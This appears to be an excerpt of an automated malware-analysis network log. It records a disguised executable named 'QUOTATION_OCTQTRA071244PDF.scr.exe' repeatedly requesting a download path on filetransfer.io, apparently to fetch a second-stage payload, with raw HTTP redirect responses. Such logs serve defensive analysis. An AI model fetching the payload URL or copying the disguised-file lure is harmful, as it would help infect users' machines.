Oct 4, 2024 11:26:00.194122076 CEST	173	IN	Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50250	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:00.200803041 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:00.858515978 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hnw3uO2egwsgqlDuCMnY3DA2%2BG%2FXCBdcFIbC00xLHgJ8309M0YiSc0Pbr7K8JJFYF6m64QWj675xiiT5%2FNWfWkZJ%2BBqB9QgbqJyN4Bh4kLWoG6vChlVrlGHaVcZlSSLGPkw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420bddeaf43b9-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50253	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:04.268549919 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:04.929090977 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aIt8la4IetgW5djtcoaM5fFtZH4DdVmrTcOwIE43dMmA%2FK5Uh5vmQyT9B0DS4OJ%2BTTU69p7PgjrzCxAaL%2FbG4QlnBZ2b0Si%2BSXVDUVKLSjQi1Tpnqwwz1UyPsDEreTIjISI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420d74a9443cd-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50254	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:04.937331915 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:05.583575964 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=42JZ1QluyZNGDJyPsLHa143R6BDL5MVd7mFaDn82Z0FWEOHBvIakW55NgKm3RTxSbtZIthm14oWCUseLrtspsqNinWNtNdsAsRsflusU8i66ASsdB6PEp1GOpJbFZydIAYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420db5ce719c7-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50257	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:09.356390953 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:10.010114908 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wATpCS%2FyHlk94y3wcTJrQW083ACfUceZL3r0EGOlFKq393q3OoyC%2BawGEPl4GVkLlnhR78iN6jG1Fj3XTHXgwgIryl3z%2BrKSst6%2BNvo%2BcCcYJmq60O8UEdf4zRJBSxiaX00%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420f70d340f5d-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50258	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:10.018414974 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:10.677623034 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:10 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M1bmOqcMsjOXrmnx7ff6tds5aRKoQdfMbwQe8Xxhjxr1AX5PXOW6jXAoEicu4%2FBoH1rwSmbuj01Iw%2F3Ehw7pbU3aZX5BUsxskCavz7l%2BwaHD%2FS88uhxRlRxDLGZ3%2BOJWUOU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420fb395141cf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50261	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:14.056128025 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:14.691956997 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5uEkue2UvvBeZapIvQ716RGtQdJEuK%2FSWc0Yvn6lSkeJb7ok7hLlyTz7bU245F%2B163k9fnG2aWEsJtC4kDynoiRyMrcItetXTRNI42Dmjo%2FZ6KmMwMlYSI3jUxavDqF3sls%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421145b8943b2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50263	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:14.703294039 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:15.431936979 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FD8zIG64klPGWsQMg%2B0Pq%2FIA%2FbpW%2B%2FNT8eABbRcTHLtjm3dmkihJufvOXWubyvLXln5NIIUGw6PFLK6gvnNiI1Z5CwnTdfc%2BIEMwbxn48KwAemlKbT3%2BuGQcr9o0si5tOpk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42118695d4210-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50266	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:18.510548115 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:19.168742895 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2Fc7FCvb86GdnEi8SRCv4iAw46Wsgyw07XfW2SAkOSn8pzR8O52WpulA5EwkvnSF8wRN7HaCB2gvuJir2CuhyPlgAzDu%2BqBoPSej6IHUSLTHqAET9ws0rYlkkLxx%2BB08ZmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4213048060f6f-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50267	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:19.180068016 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:19.834625006 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rg9VJzdjHKP51SzQhmmruYW%2FMyxKOfLuRPj7TotSw0dOVphQkt4ogUOOwIkm2Nz5gSD49D2CjBWYsQFgzUcpoW%2Bo2jFc7e6ClMzJg4HBAwnwJmLjXQw4zAnaMDJNRb0dYSc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4213469734231-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:26:20.224628925 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:19 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rg9VJzdjHKP51SzQhmmruYW%2FMyxKOfLuRPj7TotSw0dOVphQkt4ogUOOwIkm2Nz5gSD49D2CjBWYsQFgzUcpoW%2Bo2jFc7e6ClMzJg4HBAwnwJmLjXQw4zAnaMDJNRb0dYSc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4213469734231-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50270	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:23.203943968 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:23.787056923 CEST	869	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u4GoalwbR%2BzeSSa%2BYdE6SQDBqoIqnL%2FcXnDlOM1jMp%2BTTJ38YlvI2K5BnecPGSuWR2%2F3l%2BaQikuC3WM234Q04VvZPSHlQpO8tHql4vAQvmbcuVuamFTXGWfWi1M%2Br5tis2A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4214d99324219-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50271	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:23.801884890 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:26:24.438782930 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V9pLhE5rQ9ecxSxj9c1FafYL%2Bsb9HQAu%2BtX81ACZEIH8j3qIF%2FgH9iNFFEWfQOs060UxN165ZMEg4f1Dp4dw56Lyy20sOofX2kh441oHuYElIfL36q0kcZzoi7%2BABlcrlQI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421513aa31869-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50274	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:26:28.063133001 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:28.732943058 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=drpPPkhb1nOAOP05fCgWGchGqSrUOkEvM0Zyr8x9CpT2PQQfoArsRnd5qL9JcbiaSp2U0bxWw%2FqTOrrrmMN6tGWkZnHmPiOVIlvPb0xzR0T7Bur0YmdoCKixJ%2FgUD0hqXzU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4216bffa543d7-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50275	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
